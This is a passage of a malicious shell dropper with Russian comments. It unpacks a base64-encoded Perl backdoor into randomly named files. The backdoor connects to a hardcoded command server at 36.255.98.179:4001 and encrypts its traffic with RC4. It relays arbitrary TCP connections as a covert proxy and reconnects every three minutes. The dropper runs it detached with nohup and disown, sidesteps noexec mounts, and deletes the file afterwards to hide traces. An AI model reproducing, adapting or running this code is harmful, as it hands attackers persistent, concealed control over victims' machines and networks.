LCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_6a7957c6() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN